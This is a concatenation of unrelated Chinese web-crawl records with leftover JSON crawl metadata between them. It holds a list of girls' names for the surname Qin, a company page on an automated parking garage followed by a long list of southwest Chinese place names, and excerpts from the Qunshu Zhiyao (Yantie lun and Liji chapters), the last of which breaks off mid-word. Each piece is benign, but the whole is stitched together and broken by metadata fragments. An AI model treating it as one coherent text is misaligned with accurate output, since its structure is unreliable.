静琪:安静又乖巧的女孩。 靖瑶:靖:平安瑶:美玉。 可馨:一个美丽的可人儿。能与家人生活得非常温馨。 莉姿:具有公主或王后的一切风度与姿色。 清菡:菡即荷花,有出淤泥而不染的高洁。 明美:明白事理,长得标志美丽,有着花容月貌。 沛玲:精神充沛,小巧玲珑。 茹雪:像雪一般纯洁,善良。 瑞欣:寓意:吉祥如意,快乐安康。\n秦姓女孩好听的名字\n秦裴 秦娅 秦茹 秦花 秦媛 秦瑛 秦嫣 秦怡 秦悦 秦婧 秦英 秦倩 秦茹 秦琴 秦冉 秦雪 秦莉 秦芬 秦洁 秦红 秦芳 秦梅 秦玲 秦萍 秦子玲 秦珈萍 秦悦晨 秦欢媛 秦凤娟 秦映红 秦美玉 秦楚梅 秦悦晨 秦曼莉 秦怡月 秦殿蓉 秦靖茹 秦馨琳 秦卓婷 秦禹怡 秦静娜 秦月梅 秦力瑶 秦若琳 秦娅勤 秦璐霞 秦洪文 秦政文 秦旭芳 秦轶娜 秦碧瑶 秦琦颖 秦秋丽 秦婷怡 秦娅洳 秦沛玉 秦诗倩 秦瑛兑 秦沁蓉 秦琳琅 秦萍容 秦怡峰 秦莉辉 秦侗冉 秦婧然 秦茱莉 秦琳境 秦娅轩 秦娅璇 秦雪媛 秦光霞 秦依冉 秦琳忆 秦玲君 秦婧祺 秦征花 秦倩寒 秦茜玉 秦贤英 秦妍嘉 秦国琴 秦爱花 秦莹莹 秦瑾文 秦徐嫣 秦文丽 秦荧莹 秦焯婷 秦宪芳 秦彦芳 秦秀萍 秦灿红 秦佐文 秦纪妍 秦念妍 秦倩如 秦凤玉 秦科玲 秦翡文 秦艳芳 秦高玉 秦旭莉 秦恩娜 秦怡泽 秦佳秀 秦培裴 秦东丽 秦剑红 秦林玲 秦韵洁 秦丹娟 秦诗韵 秦瑞莉 秦升艳 秦林芳 秦蔓婧 秦勤英 秦秀婧 秦妍娜 秦露玉 秦越红 秦淇媛 秦建霞 秦文娟 秦明文 秦青琳 秦玉艳 秦芹玉 秦星洁 秦琴婷 秦璐瑶 秦依琳 秦珍丽 秦曼琳 秦庆美 秦湛瑶 秦冉冉 秦中英 秦琴琴 秦茹萱 秦莉英 秦馨媛 秦香玲 秦明芳 秦若嫣 秦仪芳 秦亚芬 秦晶琳 秦玲凤 秦舒英 秦金萍 秦蕴琼 秦惠萍 秦玮文 秦舒颖 秦昭洁 秦业文 秦江红 秦继芳 秦素芳 秦益玲 秦盈莹 秦芝琳 秦巧娥 秦秀红 秦沁琳 秦德萍 秦妍侥 秦婵婵 秦秀怡 秦歆颖 秦玉茹 秦怡淼 秦媛锘 秦姓女孩名字大全\n秦莹 秦霞 秦美 秦妍 秦玉 秦瑶 秦婷 秦琼 秦艳 秦丽 秦娜 秦文 秦蓉 秦娟 秦燕 秦颖 秦琳 秦秀 秦晔 秦帆 秦攸 秦维 秦菲 秦萱 秦迪娜 秦金艳 秦耀萍 秦映艳 秦扬悦 秦芳琳 秦传美 秦秀曦 秦雅蓉 秦君玉 秦逢雪 秦雪颖 秦瑞婵 秦海丽 秦金雪 秦海燕 秦剑琴 秦秀秀 秦嫣芩 秦颖梅 秦荷花 秦玉婷 秦咏霞 秦桂花 秦芳茹 秦会娟 秦紫倩 秦悦扬 秦欣萍 秦侑文 秦嘉洁 秦玲晶 秦怡帆 秦小玲 秦爱萍 秦佳婷 秦悦甜 秦巧婵 秦玟洁 秦娜秋 秦建颖 秦溪瑶 秦春芬 秦琳昊 秦立芳 秦俊娟 秦亦瑶 秦邹芬 秦琼芳 秦怡兮 秦莉芸 秦婧冉 秦子蓉 秦术芳 秦蕙萍 秦丽霞 秦仁丽 秦彦妍 秦春美 秦娅福 秦继霞 秦琳敏 秦凤文 秦渭娜 秦怡婷 秦明瑶 秦思婷 秦奇茹 秦祖英 秦云洁 秦稼瑶 秦怡爽 秦光玲 秦欢瑶 秦晨媛 秦莉园 秦靖雪 秦素芬 秦绮文 秦玲慧 秦梦娜 秦改红 秦德芳 秦若文 秦婧宜 秦齐文 秦竣怡 秦继蓉 秦雅琼 秦健文 秦侨倩 秦坤婧 秦羽悦 秦玉花 秦新玉 秦语洁 秦娟娟 秦小艳 秦小娟 秦娅婷 秦晴燕 秦火蓉 秦忻茹 秦诗瑶 秦素婷 秦季蓉 秦秀艳 秦艺琳 秦贤芬 秦彦文 秦庆霞 秦一琳 秦瑛莹 秦淑仪 秦淑红 秦水霞 秦琛婷 秦婧妤 秦小婷 秦尹宜 秦茹馨 秦惠娟 秦歆怡 秦越冉 秦叶娟 秦馨琳 秦新艳 秦小莉 秦雪美 秦沁婷 秦世芳 秦力文 秦彦蓉 秦洪丽 秦裴霞 秦薇媛 秦塬媛 秦仕梅 秦素萍 秦莉轩 秦素萍 秦海花 秦娈婵 秦瑶雅 秦璐雪 秦佳萍 秦红霞 秦加洁 秦雨婷 秦敏之 秦小芳 秦文倩 秦兰婷 秦菡瑶 秦莜怡 秦淑芬 秦晓婷 秦士梅 秦晓琼 秦绮琪 秦心媛 秦莉淋 秦子婵 秦怡铭 秦亚琼 秦倩姿 秦芝瑶 秦燕生 秦妍瑾 秦悦茵 秦秀佑 秦郁洁 秦学琳 秦熙蓉 秦卓瑶 秦铃莉 秦汶洁 秦海玲 秦瑾秀 秦莉丽 秦雪琴 秦育芳 秦宁婧 秦晓芳 秦妍慈 秦悦欣 秦玲莉 秦传娥 秦紫文 秦林娜 秦雅文 秦莉祥 秦志娟 秦佳瑶 秦莉雯 秦钱媛 秦韫艳 秦茹茹 秦娅蕙 秦婉霞 秦雅嫣 秦学颖 秦婧婧 秦心琳 秦相玉 秦全洁 秦棂娜 秦颖倩 秦琳涵 秦成洁 秦秀婧 秦芷瑶 秦入文 秦倩希 秦玲娇 秦宣莉 秦燕蓉 秦涵婷 秦诗颖 秦宏莉 秦燕玉 秦莉琪 秦菀莉 秦琳林 秦蕙嫣 秦苓娜 秦学娟 秦秀霖 秦琼芬 秦雪琴 秦苓娜 秦学娟 秦秀霖 秦琼芬 秦茹萱 秦莉英 秦馨媛 秦香玲 秦明芳 秦茜琳 秦佳雪 秦亚芬 秦嘉莉 秦蔚红 秦岍燕 秦琳慧 秦梦英 秦海红 秦杨萍 秦怡俊 秦艺婷 秦郡玲 秦刚英 秦琼莉 秦纾婧 秦怡静 秦娜杰 秦佳琳 秦佩芳 秦瑜婷","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/www.gnhwg.com\/nanhainvhai\/45842.html","date":"2020-09-26T08:01:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400238038.76\/warc\/CC-MAIN-20200926071311-20200926101311-00467.warc.gz","language":"lzh","language_score":0.943883419,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.9438834190368652, \"cmn_Hani_score\": 0.03415974602103233, \"wuu_Hani_score\": 0.013208284974098206}","num_words":525,"character_repetition_ratio":0.017,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.959,"perplexity_score":500.0,"cluster_detection":1} +{"text":"質量服務榮譽單位\n智能停車庫是通過智能識別讀卡器由光電感應系統和繼電器組成。當插入智能卡時,在智能讀卡機底部的繼電器E4處于1狀態,啟動主程序。然后智能讀卡機通過判斷4組光電感應元件的不同組合的,讀取卡上的信息,以此來判斷指定車位,并選擇相應的程序實現\"取\"(存車時是取停車板)操作,等待車的存取準備就緒后按下E5,繼續執行\"存\"(取車時是存取下的停車板)操作。智能停車庫主要由智能識別讀卡器、旋轉機構、伸縮機構、以及升降機構組成,由慧魚智能接口板進行控制。\n旋轉機構是由蝸輪與蝸桿構成。電機M3將動力通過減速箱傳遞給蝸桿,蝸桿再將動力傳遞給與旋轉電梯固定的蝸輪,使蝸輪與電梯架同步轉動,而且在旋轉電梯下方安裝繼電器E3,與地面上定位標組成旋轉定位裝置,通過指定的程序進行控制,以達到轉動到指定的存取方位。伸縮機構是由升降平臺和伸縮平臺組成。\n電機M2通過減速箱將動力傳給齒輪,齒輪與齒條相互配合,并由M2的正反轉控制伸縮平臺的伸縮。伸縮的距離由程序通過定時控制。升降機構由升降平臺和電機、齒條組成。電機M1通過減速箱將動力傳給齒輪,齒輪與齒條相互配合,由M1的正反轉實現升降運動。而且在升降平臺上安有繼電器E2與旋轉電梯架上的定位標組成層數定位裝置,通過指定的程序進行控制,以達到升降到指定的層數。車位由均勻的布置在存取機構的周圍的8個車位構成,分為底層、二層、三層,底層車位不需要存取機構,直接存取。車位采取環行布置,極大的利用有限的面積,實現大的存取容量。\n該系統將智能IC卡識別技術和高速的視頻圖像存儲比較相結合,通過計算機的圖像處理和自動識別,對車輛進出停車場的收費、保安、車位引導等進行全方位管理。智能立體車庫管理系統采用非接觸式智能IC卡作為車輛出入停車場的憑證,以圖像對比功能實時監控出入場車輛,以超大的LED顯示屏引導車主尋找其所分配的車庫車位,以穩定的通訊和強大的數據庫管理每一輛車及車位信息,以電子地圖實時監控現場車輛停放的動態信息;完全解決了現有停車場存在的安全隱患問題。本系統采用PRO控制器實現每一設備之間的通訊聯接,通訊速度更快、更穩定;同時采用32位高速運轉處理器和超大容量存儲器,提高了系統整體的運算速度和存儲空間;另出入庫由一臺主控制器完。\n重慶 萬州 涪陵 渝中 大渡口 江北 沙坪壩 九龍坡 南岸 北碚 綦江 大足 渝北 巴南 黔江 長壽 江津 合川 永川 南川 璧山 銅梁 潼南 榮昌 開州 梁平 武隆 城口 豐都 墊江 忠縣 云陽 奉節 巫山 巫溪 石柱 秀山 酉陽 彭水 云南 昆明 曲靖 玉溪 保山 昭通 麗江 普洱 臨滄 楚雄 紅河 文山 西雙版納 大理 德宏 怒江 迪慶 五華 盤龍 官渡 西山 東川 呈貢 晉寧 富民 宜良 石林 嵩明 祿勸 尋甸 安寧 麒麟 沾益 馬龍 陸良 師宗 羅平 富源 會澤 宣威 紅塔 江川 澄江 通海 華寧 易門 峨山 新平 元江 隆陽 施甸 龍陵 昌寧 騰沖 昭陽 魯甸 巧家 鹽津 大關 永善 綏江 鎮雄 彝良 威信 水富 古城 玉龍 永勝 華坪 寧蒗 思茅 寧洱 墨江 景東 景谷 鎮沅 江城 孟連 瀾滄 西盟 臨翔 鳳慶 云縣 永德 鎮康 雙江 耿馬 滄源 雙柏 牟定 南華 姚安 大姚 永仁 元謀 武定 祿豐 個舊 開遠 蒙自 彌勒 屏邊 建水 石屏 瀘西 元陽 金平 綠春 河口 硯山 西疇 麻栗坡 馬關 丘北 廣南 富寧 景洪 勐海 勐臘 漾濞 祥云 賓川 彌渡 南澗 巍山 永平 云龍 洱源 劍川 鶴慶 瑞麗 芒市 梁河 盈江 隴川 瀘水 福貢 貢山 蘭坪 香格里拉 德欽 維西 貴州 貴陽 六盤水 遵義 安順 畢節 銅仁 黔西南 黔東南 黔南 南明 云巖 花溪 烏當 白云 觀山湖 開陽 息烽 修文 清鎮 鐘山 六枝 水城 盤州 紅花崗 匯川 播州 桐梓 綏陽 正安 道真 務川 鳳岡 湄潭 余慶 習水 赤水 仁懷 西秀 平壩 普定 鎮寧 關嶺 紫云 七星關 大方 黔西 金沙 織金 納雍 威寧 赫章 碧江 萬山 江口 玉屏 石阡 思南 印江 德江 沿河 松桃 興義 興仁 普安 晴隆 貞豐 望謨 冊亨 安龍 凱里 黃平 施秉 三穗 鎮遠 岑鞏 天柱 錦屏 劍河 臺江 黎平 榕江 從江 雷山 麻江 丹寨 都勻 福泉 荔波 貴定 甕安 獨山 平塘 羅甸 長順 龍里 惠水 三都水 甘肅 蘭州 嘉峪關 金昌 白銀 天水 武威 張掖 平涼 酒泉 慶陽 定西 隴南 臨夏 甘南 城關 七里河 西固 紅古 永登 皋蘭 榆中 永昌 白銀 平川 靖遠 會寧 景泰 秦州 麥積 清水 秦安 甘谷 武山 張家川 涼州 民勤 古浪 天祝 甘州 肅南 民樂 臨澤 高臺 山丹 崆峒 涇川 靈臺 崇信 莊浪 靜寧 華亭 肅州 金塔 瓜州 肅北 阿克塞 玉門 敦煌 西峰 慶城 環縣 華池 合水 正寧 寧縣 鎮原 安定 通渭 隴西 渭源 臨洮 漳縣 岷縣 武都 成縣 文縣 宕昌 康縣 西和 禮縣 徽縣 兩當 康樂 永靖 廣河 和政 東鄉 積石山 合作 臨潭 卓尼 舟曲 迭部 瑪曲 碌曲 夏河 陜西 西安 銅川 寶雞 咸陽 渭南 延安 漢中 榆林 安康 商洛 新城 碑林 蓮湖 灞橋 未央 雁塔 閻良 臨潼 長安 高陵 鄠邑 藍田 周至 王益 印臺 耀州 宜君 渭濱 金臺 陳倉 鳳翔 岐山 扶風 眉縣 隴縣 千陽 麟游 鳳縣 太白 秦都 楊陵 渭城 三原 涇陽 乾縣 禮泉 永壽 長武 旬邑 淳化 武功 興平 彬州 臨渭 華州 潼關 大荔 合陽 澄城 蒲城 白水 富平 韓城 華陰 寶塔 安塞 延長 延川 子長 志丹 吳起 甘泉 富縣 洛川 宜川 黃龍 黃陵 漢臺 南鄭 城固 洋縣 西鄉 勉縣 寧強 略陽 鎮巴 留壩 佛坪 榆陽 橫山 府谷 靖邊 定邊 綏德 米脂 佳縣 吳堡 清澗 子洲 神木 漢濱 漢陰 石泉 寧陜 紫陽 嵐皋 平利 鎮坪 旬陽 白河 商州 洛南 丹鳳 商南 山陽 鎮安 柞水 四川 成都 自貢 攀枝花 瀘州 德陽 綿陽 廣元 遂寧 內江 樂山 南充 眉山 宜賓 廣安 達州 雅安 巴中 資陽 阿壩 甘孜 涼山 錦江 青羊 金牛 武侯 成華 龍泉驛 青白江 新都 溫江 雙流 郫都 金堂 大邑 蒲江 新津 都江堰 彭州 邛崍 崇州 簡陽 自流井 貢井 大安 沿灘 榮縣 富順 東區 西區 仁和 米易 鹽邊 江陽 納溪 龍馬潭 瀘縣 合江 敘永 古藺 旌陽 羅江 中江 廣漢 什邡 綿竹 涪城 游仙 安州 三臺 鹽亭 梓潼 北川 平武 江油 利州 昭化 朝天 旺蒼 青川 劍閣 蒼溪 船山 安居 蓬溪 射洪 大英 東興 威遠 資中 隆昌 沙灣 五通橋 金口河 犍為 井研 夾江 沐川 峨邊 馬邊 峨眉山 順慶 高坪 嘉陵 南部 營山 蓬安 儀隴 西充 閬中 東坡 彭山 仁壽 洪雅 丹棱 青神 翠屏 南溪 敘州 江安 長寧 高縣 珙縣 筠連 興文 屏山 前鋒 岳池 武勝 鄰水 華鎣 通川 達川 宣漢 開江 大竹 渠縣 萬源 雨城 名山 滎經 漢源 石棉 天全 蘆山 寶興 巴州 恩陽 通江 南江 平昌 雁江 安岳 樂至 馬爾康 汶川 理縣 茂縣 松潘 九寨溝 金川 小金 黑水 壤塘 若爾蓋 紅原 康定 瀘定 丹巴 九龍 雅江 道孚 爐霍 新龍 德格 白玉 石渠 色達 理塘 巴塘 鄉城 稻城 得榮 西昌 木里 鹽源 德昌 會理 會東 寧南 普格 布拖 金陽 昭覺 喜德 冕寧 越西 甘洛 美姑 雷波 湖北 湖南 廣西","id":"","dump":"CC-MAIN-2023-14","url":"http:\/\/www.sindiro.com\/guanyu\/rongyu\/207.html","date":"2023-04-02T03:27:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296950373.88\/warc\/CC-MAIN-20230402012805-20230402042805-00527.warc.gz","language":"lzh","language_score":0.482118696,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.48211869597435, \"cmn_Hani_score\": 0.3791973888874054, \"nan_Hani_score\": 0.1262832134962082}","num_words":702,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.259,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.541,"perplexity_score":500.0,"cluster_detection":1} +{"text":"群書治要卷四十二\n鹽鐵論\n行遠道者假於車。濟江海者因於舟。故賢士之立功成名。因於資而假物者也。公輸子能因人主之材木以構宫室臺榭。而不能自爲專屋狹廬。材不足也。歐冶能因君之銅鐵以爲金爐大鐘。而不能自爲壺鼎槃杅。無其用也。君子能因人主之政(政作正)朝以和百姓。潤衆庶。而不能自饒其家。勢不便也。故舜耕於歷山。恩不及州里。太公屠牛於朝歌。利不及妻子。及其見用。恩流八荒。德溢四海。故舜假之堯。太公因之周。君子能修身以假道者。不能枉道而假財也。\n扁鵲不能治不受鍼藥之疾。賢聖不能正不食(食疑受)善言之君。故桀有關龍逢而夏亡。紂有三仁而商滅。故不患無夷吾。由余之論。患無桓。穆之聽耳。是以孔子東西無所遇。屈原放逐於楚國也。故曰。直道而事人。焉往而不三黜。枉道而事人。何必去父母之邦。此所以言而不見從。行不得(不得作而不)合者也。\n古者篤教以導民。明辟以正刑。刑之於治。猶策之於御也。良工不能無策而御。有策而勿用也。聖人假法以成教。教成而刑不施。故威厲而不殺。刑設而不犯。今廢其紀綱而不能張。壞其禮義而不能防。民陷於罪。從而獵之以刑。是猶開其闌牢。發以毒矢也。不盡不止矣。曾子曰。上失其道。民散久矣。如得其情。則哀矜而勿喜。夫不傷民之不治而伐己之能得奸。猶弋者睹鳥獸挂罻羅而喜也。今天下之被誅者。不必有管。蔡之邪。鄧皙之僞也。孔子曰。人而不仁。疾之以甚。亂也。故民亂反之政。政亂反之身。身正而天下定。是以君子嘉善而矜不能。恩及刑人。德潤窮夫。施惠悦爾。行刑不樂也。\n周公之相成王也。百姓饒樂。國無窮人。非代之耕織也。易其田疇。薄其税斂。則民富矣。上以奉君親。下無飢寒之憂。則教可成也。語曰。既富矣。又何加焉。曰。教之。教之以德。齊之以禮。則民徙義而從善。莫不入孝出悌。夫何奢侈暴慢之有乎。管子曰。倉廩實而知禮節。衣食足而知榮辱。故富民易與適禮。\n古者政得則陰陽調。星辰理。風雨時。故行修於内。聲聞於外。爲之(爲之作爲善)於下。福應於天。周公在上而天下太平。國無夭傷。歲無荒年。當此時。雨不破塊。風不鳴條。旬而一雨必以夜。無丘陵高下皆孰。今不省其所以然。而曰陰陽之運也。非所聞也。孟子曰。野有死殍。不知收也。狗豕食人食。不知斂(斂作撿)也。爲民父母見飢而死。則曰。非我。歲也。何异乎以刃殺之。則曰。非我。兵也。方今之務。在除飢寒之患。罷鹽鐵。退權利。分土地。趣本業。養桑麻。盡地力也。寡功節用。則民自富。如是。則水旱不能憂。凶年不能累也。\n王者崇禮施德。尚仁義而賤怪力。故聖人絶而不言。孔子曰。言忠信。行篤敬。雖之蠻貊。不可弃也。今萬方絶國之君。奉贄獻見者。懷天子之威德。而欲觀中國之禮(禮下有儀字)。宜設明堂辟廱以示之。揚干戚。昭雅頌以風之。今乃以玩好不用之器。奇蟲不畜之獸。角抵之戲。炫耀之物。陳夸之。殆與周公之待遠方殊也。\n昔周公處謙讓以交卑士。執禮德以下天下。故辭越裳之贄。見恭敬之禮也。既與入文王之廟。是見大孝之禮也。目睹威儀干戚之容。耳聽升歌雅頌之聲。心充(充下舊有以字。删之)至德。欣然以歸。此四夷所以慕義内附。非重譯狄鞮來觀猛獸熊羆也。夫犀象兕虎。南夷之所多也。驢騾馲駝。北狄之常畜也。中國所鮮。外國賤之。南越以孔雀珥門户。昆山之旁。以玉璞抵鳥鵲。今貴人之所賤。珍人之所饒。非所以厚中國而明盛德也。隋和。世之名寶也。而不能安危存亡。故喻德示威。唯賢臣良相。不在戎馬珍怪也。是以聖王以賢爲寶。不以珠玉爲寶。昔晏子修之樽俎之間。而折衝乎千里。不能者雖隋和滿篋。無益於存亡矣。\n衞靈公當隆冬興衆穿池。海春(海春作宛春)以諫曰。天寒。百姓凍餒。願公之罷役也。公曰。天寒乎哉。寒乎哉(天寒乎哉云云七字。作天寒哉。我何不寒哉)。海春曰。人之言曰。安者不能恤危。飽者不能食飢。故餘粱肉者。難爲言隱約。處逸樂者。難爲言勤苦。夫高堂邃宇。廣廈洞房者。不知專屋狹廬。上漏下濕者之痛也。繫馬百駟。貨財充内。儲陳納新者。不知有旦無暮稱貸者之急也。乘堅驅良。列騎成行者。不知負擔步行者之勞也。匡床薦席。侍御滿側者。不知服輅輓船。登高絶流者之難也。衣輕暖。處温室。載安車者。不知乘長城。眺胡代。向清風(風者下有之字)者危寒也。妻子好合。子孫保之者。不知老母之憔悴。匹婦之悲恨也。耳聽五音。目視弄優者。不知蒙流矢。推敵方外之死亡也。東向仗几振筆而調文者。不知木索之急。捶楚之痛也。昔商鞅之任秦也。刑人若刈菅茅。用師若彈丸。從軍旅者暴骨長城。戍漕者輜車相望。生而往。死而還。彼獨非人子耶。故君子仁以恕。義以度。所好惡與天下共之。\n地廣而不德者國危。兵强而陵敵者身亡。虎兕相搏而螻蟻得志。兩敵相機而匹夫乘閑。是以聖王見利慮害。見遠存近。\n道徑。衆民不知所由也。法令。衆人不知所避也。故王者之制法也。昭乎如日月。故民不迷。曠乎若大路。故民不惑。幽隱遠方。折乎知之。愚婦童婦。咸知所避。是故法令不犯。而獄犴不用也。昔秦法繁於秋荼。而網密於凝脂。然而上下相遁。奸僞萌生。有司治之。若救爛捌焦不能禁。非網疏而罪漏。禮義廢而刑罰任也。方今律令百有餘篇。文章繁。罪名重。群國用之。疑惑或淺或深。自吏明習者不知所處。而况愚民乎。律令塵蠹於棧閣。吏不能遍睹。而况愚民乎。此斷獄所以滋衆而民犯禁滋多也。親服之屬甚衆。上附下附。而服不過五。五刑之屬三千。上殺下殺。而罪不過五。故治民之道。務篤於教也。\n法能刑人而不能使人廉。能殺人而不能使人仁。所貴良醫者。貴其審消息而退邪氣也。非貴其下鍼石而鑽肌膚也。所貴良吏者。貴其絶惡於未萌。使之不爲非。非貴其拘之囹圄而刑殺之也。今之所謂良吏者。文察則以禍其民。强力則以厲其下。不本法之所由生。而專己之殘心。文誅假法以陷不辜。累無罪。以子及父。以弟及兄。一人有罪。州里驚駭。十家奔亡。若癰疽之相漫。色淫之相連。一節動而百枝摇。詩云。舍彼有罪。既伏其辜。若此無罪。淪胥以鋪。傷無罪而累也。非患銚鋤之不利。患其舍草而芸苗也。非患無準平。患其舍枉而繩直也。故親近爲過不必誅。是鋤不用也。疏遠有功不必賞。是苗不養也。故世不患無法。而患無必行之法也。\n古者周其禮而明其教。禮周教明。不從者。然後等之以刑。刑罰中。民不怨矣。故舜施四罪而天下咸服。誅不仁也。輕重各伏其誅。刑必加而無赦。赦維疑者。若此。則世安得不軌之人而罪之乎。今廢其德教而責之禮義。是虐民也。春秋傳曰。子有罪。執其父。臣有罪。執其君。聽失之大者也。今以子誅父。以弟誅兄。親戚相坐。什伍相連。若引根本而及華葉。傷小指而累四體也。如此。則以有罪反誅無罪。反誅無罪。則天下之無罪者寡矣。故吏不以多斷爲良。醫不以多刺爲工。子産殺一人刑二人。道不拾遺。而民無誣心。故爲民父母。似養疾子。長恩厚而已。自首匿。相坐之法立。骨肉之恩廢。而刑罪多矣。聞父母之於子。雖有罪猶匿之。其不欲服罪爾。子爲父隱。父爲子隱。未聞父子之相坐也。聞兄弟能緩追以免賊。未聞兄弟之相坐也。聞惡惡止其人。疾始而誅首惡。未聞什伍而相坐也。\n紂爲炮烙之刑。而秦有收孥之法。趙高以峻文决罪於内。百官以峭法斷割於外。死者相枕席。刑者相望。百姓側目重足。不寒而慄。方此之時。豈特冒火蹈刃哉。然父子相背。兄弟相嫚。至於骨肉相殘。上下相殺。非刑輕而罰不必。令太嚴而仁恩不施也。故政寬則下親其上。政嚴則臣謀其主。晋厲以幽。二世以弑。惡在峻法之不犯。嚴家之無挌虜也。聖人知之。是以務和(和作恩)而不務威。故高皇帝約秦苛法。以慰怨毒之人。而長和睦之心。唯恐刑之重而德之薄也。是以恩施無窮。澤流後世。商鞅。吴起以秦。楚之法爲輕而累之。上危其主。下没其身。或非特慈母乎(或以下六字本書同。疑有誤)。\n民之仰法。猶魚之仰水。水清則静。濁則擾。擾則不安其居。静則樂其業。樂其業則富。富則仁生。贍則争止。是以成。康之世。賞無所施。法無所加。非可刑而不刑。民莫犯禁也。非可賞而不賞。民莫不仁也。若斯。則吏何事而可理乎。今之治民者。若拙御之御馬也。行則頓之。止則擊之。身創於捶。吻傷於銜。而求其無失。何可得也。故疲馬不畏鞭捶。疲民不畏刑法。雖增而累之。其有益乎。\n古者明其仁義之誓。使民不逾。不教而殺。是虐民也。與其刑不可逾。不若義之不可逾也。聞禮義行而刑罰中。未聞刑罰任(任作行)而孝悌興也。高墻狹基。不可立也。嚴刑峻法。不可久也。二世信趙高之計。深督責而任誅斷。刑者半道。死者日積。殺人多者爲忠。斂民悉者爲能。百姓不勝其求。黔首不勝其刑。海内同憂而俱不聊生。故過任之事。父不得於子。無已之求。君不得於臣。知死不再。窮鼠齧狸。匹夫奔萬乘。舍人折弓。陳勝。吴廣是也。聞不一朞而社稷爲虚。惡在其能長制群下而久守其國也。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022070.html","date":"2017-04-24T03:36:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00138-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.4752274454,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4752274453639984, \"cmn_Hani_score\": 0.2281571328639984, \"nan_Hani_score\": 0.07540696859359741, \"jpn_Jpan_score\": 0.04097968712449074, \"zxx_Latn_score\": 0.025894315913319588, \"wuu_Hani_score\": 0.023430533707141876, \"yue_Hani_score\": 0.012327471747994423}","num_words":17,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.475,"perplexity_score":500.0,"cluster_detection":1} +{"text":"禮 記\n群書治要卷七\n曲 禮\n曲禮曰。毋不敬。禮主於敬。儼若思。言人坐思。貌必儼然。安定辭。審言語也。安民哉。此三句可以安民也。\n傲不可長。欲不可從。志不可滿。樂不可極。此四者。慢游之道。桀紂所以自禍也。\n賢者狎而敬之。狎。習也。近也。習其所行。畏而愛之。心服曰畏。愛而知其惡。憎而知其善。不可以己心之愛憎。誣人以善惡。\n夫禮者所以定親疏。决嫌疑。别同异。明是非也。\n道德仁義。非禮不成。教訓正俗。非禮不備。分争辨訟。非禮不决。君臣上下。父子兄弟。非禮不定。宦學事師。非禮不親。班朝治軍。莅官行法。非禮感嚴不行。禱祠祭祀。供給鬼神。非禮不誠不莊。班。次也。莅。臨也。莊。敬也。\n富貴而知好禮。則不驕不淫。貧賤而知好禮。則志不懾。懾猶怯惑。\n國君春田不圍澤。大夫不掩群。士不取麛卵。生乳之時。重傷其類。\n歲凶。年穀不登。登。成也。君膳不祭肺。馬不食穀。馳道不除。祭事不縣。大夫不食粱。士飲酒不樂。皆自爲貶損。憂民也。禮。食殺牲祭先。不祭肺。則不殺。除。治也。縣。樂器。鐘磬之屬也。\n檀 弓\n知悼子卒。未葬。悼子。晋大夫荀盈也。平公飲酒。師曠。李調侍。鼓鐘。杜蕢自外來。歷階而升堂。酌曰。曠飲斯。又酌曰。調飲斯。又酌堂上北面坐飲之。降。趨而出。三酌皆罰爵。平公呼而進之曰。蕢。爾飲曠何也。曰。子卯不樂。紂以甲子死。桀以乙卯亡。王者謂之疾日。不以舉樂。所以自戒懼也。知悼子之喪在堂。未葬。斯其爲子卯也。大矣。言大夫喪重於疾日。曠也。大師也。不以詔。是以飲之。詔。吿也。太師典司奏樂也。爾飲調何也。曰。調也。君之褻臣也。爲一飲一食忘君之疾。是以飲之。言調貪酒食也。褻。嬖也。近臣亦當規君。疾。憂也。爾飲何也。曰。蕢也。宰夫也。非刀匕是供。又敢與知防。是以飲也。防。禁放溢者也。平公曰。寡人亦有過焉。酌而飲寡人。聞義則服。杜蕢洗爵而揚觶。舉爵於君。公謂侍者曰。如我死。則必無廢斯爵。欲後世以爲戒。至於今既畢獻斯揚觶。謂之杜舉。此爵遂因杜蕢爲名。畢獻。獻賓與君也。\n孔子過泰山側。有婦人哭於墓者而哀。夫子式而聽之。怪其哀甚也。使子貢(子貢作子路)。問之。曰。昔吾舅死於虎。吾夫又死焉。今吾子又死焉。夫之父曰舅。夫子曰。何爲不去。曰。無苛政。夫子曰。小子識之。苛政猛於虎也。\n陽門之介夫死。陽門。宋國門也。介夫。甲胄衞士。司城子罕入而哭之哀。子罕。樂喜也。晋人之覘宋者。反報於晋侯曰。陽門之介夫死。而子罕哭之哀。而民悦。殆不可伐也。覘。窺視也。孔子聞之曰。善哉。覘國乎。善其知微。\n王 制\n凡官民材。必先論之。論。謂考其德行道藝也。論辨。然後使之。辨。謂考問得其定也。任事。然後爵之。爵。謂正其秩次。位定。然後禄之。爵人於朝。與士共之。刑人於市。與衆弃之。必共之者。所以審慎之。\n獺祭魚。然後虞人入澤梁。豺祭獸。然後田獵。鳩化爲鷹。然後設罻羅。草木零落。然後入山林。昆蟲未蟄。不以火田。取物必順時候也。昆蟲者。得陽而生。得陰而藏也。\n國無九年之蓄曰不足。無六年之蓄曰急。無三年之蓄曰國非其國也。三年耕。必有一年之食。九年耕。必有三年之食。以三十年之通。雖有凶旱水溢。民無菜色。然後天子食日舉以樂。民無食菜之飢色。天子乃日舉樂以食也。\n月 